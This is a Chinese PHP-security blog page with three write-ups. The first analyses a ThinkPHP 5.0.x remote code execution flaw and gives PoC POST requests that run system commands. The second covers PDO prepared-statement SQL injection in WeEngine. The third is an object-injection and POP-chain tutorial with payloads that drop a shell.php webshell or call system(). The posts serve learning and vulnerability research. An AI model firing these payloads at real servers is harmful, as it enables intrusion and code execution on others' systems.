分类 PHP 下的文章

主要成因为框架中的核心类 Request 中存在调用任意(其实不能算是任意)方法的点,通过构造可以做成 RCE。

这是 ThinkPHP 最近出的第二个影响比较大的 RCE 了,虽然对 ThinkPHP 不熟悉,不过这个洞的成因和利用还是比较有意思的,再加上已经好久没去分析 PHP 方面的漏洞了,写下分析当个记录了。全程是根据别人的分析静态跟代码加上在环境上测试完成的,没有做动态跟踪(懒得去弄了)。

0x00 影响版本

5.0 - 5.0.23

0x01 漏洞分析及利用构造

进入到漏洞关键点的执行流程:
thinkApp#run --> thinkApp#routeCheck --> thinkRoute#check --> thinkRequest#method

thinkRequest#method 具体代码如下
15473729803990.jpg

在前面的执行流程中调用到 method 方法的时候是不带参数的,所以这里的形参 $method 的实际值为 false,另外 Config::get('var_method') 的值来自于 convention.php 默认为 _method。虽然这里会把字符串变成大写,但是在 PHP 中方法名大小写不敏感,因此在图中的红框处就能实现 Request 中任意方法的调用(当然了得参数类型符合)。

这里选择的类 Request 中的方法为其构造方法,具体代码如下
15473735269495.jpg

选择这个方法主要是为了覆盖类 Request 中的成员变量的值,为后面的利用做准备。

再看 thinkRequest#param
15473764731378.jpg

当 mergeParam 为空时会调用到 get 方法,其实这里在执行 $this->method(true) 一样会调用到下面说的 input 方法,这里就跟下 get。跟进 thinkRequest#get
15473766009419.jpg

继续跟进 thinkRequest#input
15473784418751.jpg

data 的值来自 Request 中的 get(数组),所以会调用到 array_walk_recursive 函数,而这个函数设置的 callback 函数为 filterValue。漏洞的利用点就在 filterValue 中,其代码如下
15473770538854.jpg

主要就是用 call_user_func 来做成 RCE,因此 filter 和 value 的值需要可控,顺着调用流程往回看和结合前面提到的在构造方法中做覆盖的方法就能知道怎么去控制这两个变量的值。结合前面提到的 value 的值其实就来自于 Request 类中的 get,再来看 filter,很明显能知道 filter 的值来自 getFilter 方法的执行结果,thinkRequest#getFilter
15473776844182.jpg

这个方法的代码逻辑比较简单的,要控制 filter 的值的话,就只需要在 POST 请求中传个 filter 的值就行了。到这里可以知道的了 PoC 中需要构造的请求如下

POST
_method=__construct&mergeParam&=filter=system&get[]=id

接下来只要找到办法调用 thinkRequest#param 就可以完成整个利用了。thinkApp#run 中存在如下代码
15473814724342.jpg

所以要是在开启了调试模式的情况下用前面的构造好的请求就可以完成利用了,但是 23 版本在默认情况下是没有开启调试模式的,再看下在没有开启调试模式的情况下如何利用。

回看 thinkRoute#check 中调用 thinkRequest#method 往后的代码
15473837403175.jpg

这里的 method 的值其实就来自于 Request 类中的 method,因此可控。往下就是根据 method 的值来获取路由规则,这里需要用到验证码类(只在完整版中有,核心版中没有)中的一个路由规则,规则如下
15473840047609.jpg

所以要是想获取到这个路由规则就得传参 s=captcha 来完成类的自动加载同时设置 method 的值为 get。这里获取这个路由规则的主要目的是为了完成漏洞的利用,往下跟就明白了。接下来的执行流程为 thinkRoute#checkRoute --> thinkRoute#checkRule --> thinkRoute#parseRule

parseRule 方法中的部分代码
15473843616071.jpg

这里主要是根据路由规则的格式返回不同的结果,这里返回的结果中 type 为 method。结果返回赋值给 thinkApp 类中的 dispatch。往下跟进 thinkApp#exec
15473845582371.jpg

可以看到这里就能成功调用到了漏洞利用需要的 param 方法。

0x02 PoC

开启调试模式

POST /index.php
_method=__construct&filter=system&get[]=id

关闭调试模式

POST /index.php?s=captcha
_method=__construct&filter=system&get[]=id&method=get

另外一种控制 value 的方法

_method=__construct&filter=system&server[REQUEST_METHOD]=id&method=get

0x03 参考

在网上搜到关于PDO的信息大多都是如何使用它来防止注入这样的安全问题出现,导致以前一直觉得只要是使用PDO的预处理来操作数据库的话就不会再有注入的出现。直到前些时间看了微擎的源码后发现并不是这样的,再好的东西用的不好还是会有问题出现。也难怪它被挖了这么多的注入。。。

一些基本的用法

  • PDO::query() — 执行一条语句,并返回一个PDOStatement对象
  • PDO::exec() — 执行一条 SQL 语句,并返回受影响的行数
  • PDO::errorInfo() — 获取跟上一次语句句柄操作相关的扩展错误信息
  • PDO::prepare() — 预处理一条SQL语句,并返回一个PDOStatement对象
  • PDOStatement::execute() — 执行一条预处理语句

结合点代码来看

<?php
    define( 'host', 'localhost' );
    define( 'user', 'root' );
    define( 'password', 'root' );
    define( 'dbname', 'mytest' );

    function connect(){
        try {
            $PDO = new PDO( 'mysql:host=' . host . ';dbname=' . dbname, user, password );
        }catch (PDOException $e) {
            echo 'Error connecting to MySQL: ' . $e->getMessage();
        }

        return $PDO;
    }

    $pdo = connect();
    /*
    $res = $pdo->query("SELECT * FROM admin;");
    返回一个PDOStatement对象,可通过fetchobject()来获取数据
    */
    /*
    $res = $pdo->exec("DELETE from admin WHERE id=3 or id=4;");
    返回影响的行数,这里的话就是2了
    */

    //$sql = "SELECT * FROM admin WHERE id=? or id=?";
    $sql = "SELECT * FROM admin WHERE id=:id1 or id=:id2";
    //上面是两种不同的参数标记方式

    $stmt = $pdo->prepare($sql);

    //$res = $stmt->execute(array(1, 2));
    $res = $stmt->execute(array('id1'=>1, 'id2'=>2));
    //上面是对应不同参数标记方式的绑定PHP变量的方法,也可以用bindParam()来绑定变量
    
    var_dump($res);
    echo '<br>';
    echo '<br>errorinfo:<br>';
    var_dump($stmt->errorinfo());
    echo '<br><br>data:<br>';
    var_dump($stmt->fetchobject());
?>

问题的出现

正常的预处理的话是不会发生问题的,但当预处理的句子受用户的输入控制的时候问题就出现了。预处理句子可控的话就跟平时的注入没啥区别了,联合查询或是PDO支持多语句的执行都可以,要是调用了errorinfo的话还可以构造报错的句子来进行注入。

有的时候代码是用了用户的输入来做为预处理语句里的参数标记,这种情况预处理的句子就是可控的了。看个微擎实际的例子。

framework/class/db.class.php中的implode函数

private function implode($params, $glue = ',') {
        $result = array('fields' => ' 1 ', 'params' => array());
        $split = '';
        $suffix = '';
        $allow_operator = array('>', '<', '<>', '!=', '>=', '<=', '+=', '-=', 'LIKE', 'like');
        if (in_array(strtolower($glue), array('and', 'or'))) {
            $suffix = '__';
        }
        if (!is_array($params)) {
            $result['fields'] = $params;
            return $result;
        }
        if (is_array($params)) {
            $result['fields'] = '';
            foreach ($params as $fields => $value) {
                $operator = '';
                if (strpos($fields, ' ') !== FALSE) {
                    list($fields, $operator) = explode(' ', $fields, 2);
                    if (!in_array($operator, $allow_operator)) {
                        $operator = '';
                    }
                }
                if (empty($operator)) {
                    $fields = trim($fields);
                    if (is_array($value)) {
                        $operator = 'IN';
                    } else {
                        $operator = '=';
                    }
                } elseif ($operator == '+=') {
                    $operator = " = `$fields` + ";
                } elseif ($operator == '-=') {
                    $operator = " = `$fields` - ";
                }
                if (is_array($value)) {
                    $insql = array();
                    foreach ($value as $k => $v) {
                        $insql[] = ":{$suffix}{$fields}_{$k}";
                        $result['params'][":{$suffix}{$fields}_{$k}"] = is_null($v) ? '' : $v;
                    }
                    $result['fields'] .= $split . "`$fields` {$operator} (".implode(",", $insql).")";
                    $split = ' ' . $glue . ' ';
                } else {
                    $result['fields'] .= $split . "`$fields` {$operator}  :{$suffix}$fields";
                    $split = ' ' . $glue . ' ';
                    $result['params'][":{$suffix}$fields"] = is_null($value) ? '' : $value;
                }
            }
        }
    return $result;
}

要是传入的参数是一个数组的话,它会拿数组的名字和下标结合成一个预处理语句的参数标记。拿一个之前的漏洞点来试下,加个die(var_dump())来看预处理的句子
5843b98de9b81.jpg
参数标记还要成功绑定才不会直接是错误不执行预处理的句子,结合一个之前的注入点这里的一个利用方法就是
5843bb1e853b3.jpg
这里用报错语句的原因是代码默认是有调用errorinfo函数的。再贴张当时在官方demo测试的图
5843bbce6bd77.jpg

后记

这个是之前在先知提交的,后来发现重了,而且这么久了官方也一直没修。就当是记录PDO的一些知识了,还有就是这文章本来两天前就应该写好了的,结果傻逼的误删了一个卷再加上一些其它的事就拖到了今天了 - -

在理解对象注入之前要知道的一些东西。

PHP中的序列化

在说序列化之前,我记得以前有过这样一个疑问:为什么需要序列化?
后来我在网上搜到了这样一个回答很好的解决了我的疑问。

"你有一个应用程序,需要传一些数据给其它应用程序,但数据保存在你的进程的堆栈中,其它进程无法访问你的应用程序进程的堆栈,要想把你的程序的数据给其它程序使用,必须将数据以某种形式传给其它进程,这个‘某种形式’就是序列化 。"

写了一小段代码来查看PHP不同类型变量序列化后的样子。

<?php
    $v1 = 123;
    $v2 = 1.23;
    $v3 = '123';
    $v4 = true;
    $v5 = array();
    $v6 = array('key'=>1,2,3);
    class base{
    }
    class base2{
        public $v = '123';
    }
    $v7 = new base;
    $v8 = new base2;

    $i = 1;
    while($i < 9){
        echo serialize(${'v'.$i})."\n";        //PHP使用serialize函数进行序列化
        $i ++;
    }
?>

输出:

i:123;                 //整数类型:值;
d:1.23;                //双精度类型
s:3:"123";             //字符串类型:字符串长度:字符串的值;
b:1;                   //布尔类型,0或1
a:0:{}                 //数组类型:元素个数:{}
a:3:{s:3:"key";i:1;i:0;i:2;i:1;i:3;}
O:4:"base":0:{}        //对象类型:类名长度:类名:属性个数:{}
O:5:"base2":1:{s:1:"v";s:3:"123";}

可以看到变量序列化后会变成带有数据类型和值的字符串。其中数组的花括号里根据元素的键名和值(序列化后)依次排列,类对象的花括号里则是根据成员变量名和值(序列化后)依次排列。对象要留意的是只会序列化成员变量,而不会序列化其中的方法,执行序列化的代码还必须包含该类的定义。

PHP中的反序列化

反序列化就是将变量序列化后形成的字符串还原成原来的数据。可以写代码来看一下这个过程。

<?php
    $v1 = unserialize('s:3:"123";');    //PHP使用unserialize函数进行反序列化
    class base2{
        public $v;
    }
    $v2 = unserialize('O:5:"base2":1:{s:1:"v";s:3:"123";}');

    var_dump($v1);
    var_dump($v2);
?>

输出:

string(3) "123"
object(base2)#1 (1) {
  ["v"]=>
  string(3) "123"
}

可以看到反序列化后会得到原来的数据。要留意的是对象的反序列化代码中同样需要含有该类的定义。

PHP中的魔术方法

PHP的类含有一些实现特定功能的魔术方法,在对象注入的时候会用上这些方法。可以先来看一下这些方法的特点。

__construct()
在类实例化成对象的时候自动调用

__destruct()
在对象不再被使用时(将所有该对象的引用设为null)或者程序退出时自动调用

__sleep()
在对象被序列化前自动调用,该函数需要返回以类成员变量名作为元素的数组(该数组里的元素会影响类成员变量是否被序列化。只有出现在该数组元素里的类成员变量才会被序列化)

__wakeup()
在反序列化后自动调用

__toString()
在对象被当作字符串使用时自动调用

__invoke()
在对象被当作函数使用时自动调用

这里只是列了其中几个,PHP的类还包含一些用来实现属性和方法重载的魔术方法等等。
写代码来观察这些魔术方法被自动调用的过程。

<?php
    class Base{
        public $v1 = 123;
        public $v2 = '123';

        public function __construct(){
            echo "__construct is running.\n";
        }

        public function __destruct(){
            echo "__destruct is running.\n";
        }
        
        public function __sleep(){
            echo "__sleep is running.\n";
            return array('v1');        //这里只返回了v1,所以v2不会被序列化
        }

        public function __wakeup(){
            echo "__wakeup is running.\n";
        }

        public function __toString(){
            return "__toString is running.\n";
        }

        public function __invoke(){
            echo "__invoke is running.\n";
        }
    }

    $test = new Base();
    $s_test = serialize($test);
    print $s_test."\n";
    $us_test = unserialize($s_test);
    echo $test;
    $test();
?>

输出:

__construct is running.
__sleep is running.
O:4:"Base":1:{s:2:"v1";i:123;}
__wakeup is running.
__toString is running.
__invoke is running.
__destruct is running.
__destruct is running.

通过输出和之前的介绍,可以清楚的知道这些魔术方法在什么时候会被自动调用,这点对下面的对象注入是很重要的。

对象注入

往当前程序里注入一个定义好的类的对象。再结合类里的魔术方法中的一些存在安全问题的函数来进行攻击。这里可能造成的攻击是多种多样的,例如代码执行,SQLi等等。该类型漏洞高度依赖于魔术方法的自动触发特点。

对象注入漏洞出现的两个前提条件:

  1. unserialize的参数可控。
  2. 代码里有定义一个含有魔术方法的类,并且该方法里出现一些使用类成员变量作为参数的存在安全问题的函数。

简化之前SugarCRM v6.5.23对象注入漏洞写的一个代码例子:

<?php     
    class CacheFile{
        protected $_localStore = array();
        protected $_cacheFileName = 'externalCache.php';
        protected $_cacheChanged = false;
        function __construct(){
            //some code...
        }

        function __destruct(){
            if($this->_cacheChanged)
                file_put_contents($this->_cacheFileName, serialize($this->_localStore));
        }

        function __wakeup(){
            //some code...
        }
    }

    $data = unserialize($_REQUEST['rest_data']);
?>

构造payload的代码:

<?php 
     class CacheFile{
         protected $_localStore = '<?php phpinfo();?>';
         protected $_cacheFileName = 'shell.php';
         protected $_cacheChanged = true;
     }

     print urlencode(serialize(new CacheFile()));
?>

利用:

http://hack.lo/obi/?rest_data=O%3A9%3A%22CacheFile%22%3A3%3A{s%3A14%3A%22%00*%00_localStore%22%3Bs%3A18%3A%22%3C%3Fphp+phpinfo()%3B%3F%3E%22%3Bs%3A17%3A%22%00*%00_cacheFileName%22%3Bs%3A9%3A%22shell.php%22%3Bs%3A16%3A%22%00*%00_cacheChanged%22%3Bb%3A1%3B}

要留意类成员变量的访问限制关键字。

POP Chain

POP(Property-Oriented Programming),是Esser在2009年的时候提出的一个对象注入的利用方法。当你找到的魔术方法不可以直接利用,但它有调用其它方法或者使用其它的变量时,可以在其它的类中寻找同名的方法或是变量,直到到达一个可以利用的点。这样的攻击方法称为代码复用攻击(将内存中的代码片段一点一点的组合起来,并最终构造成一个可以利用的payload)。这个一步一步把代码连起来的攻击过程在PHP应用里被称为构造POP链对对象注入漏洞进行利用。
漏洞代码例子:

<?php 
    class Systeminfo{
        public $cmd = 'systeminfo';

        public function getinfo(){
            system($this->cmd);
        }

        public function show(){
            $this->getinfo();
        }
    }

    class Books{
        public $bookname = 'This is bookname!';

        public function show(){
            echo $this->bookname;
        }
    }

    class Display{
        public $handle;

        public function __construct(){
            $this->handle = new Books();
        }

        public function __destruct(){
            $this->handle->show();
        }
    }

    $data = unserialize($_REQUEST['data']);
?>

构造payload的代码:

<?php
    class Systeminfo{
        public $cmd = 'whoami';
    }
    class Display{
        public $handle;

        function __construct(){
            $this->handle = new Systeminfo;
        }
    }

    print serialize(new Display);
?>

利用:

http://hack.lo/obi/pop.php?data=O:7:"Display":1:{s:6:"handle";O:10:"Systeminfo":1:{s:3:"cmd";s:6:"whoami";}}

如何去发现该漏洞

  1. 寻找代码中参数可控的unserialize函数。
  2. 寻找类含有的魔术方法,观察找到的魔术方法的实现看能否被利用。

当找到一个参数可控的unserialize函数时,可以利用get_included_files来查看当前脚本包含有哪些文件,从而在这些文件里找有定义的类,再在这些类中找魔术方法。

参考

http://syssec.rub.de/media/emma/veroeffentlichungen/2014/09/10/POPChainGeneration-CCS14.pdf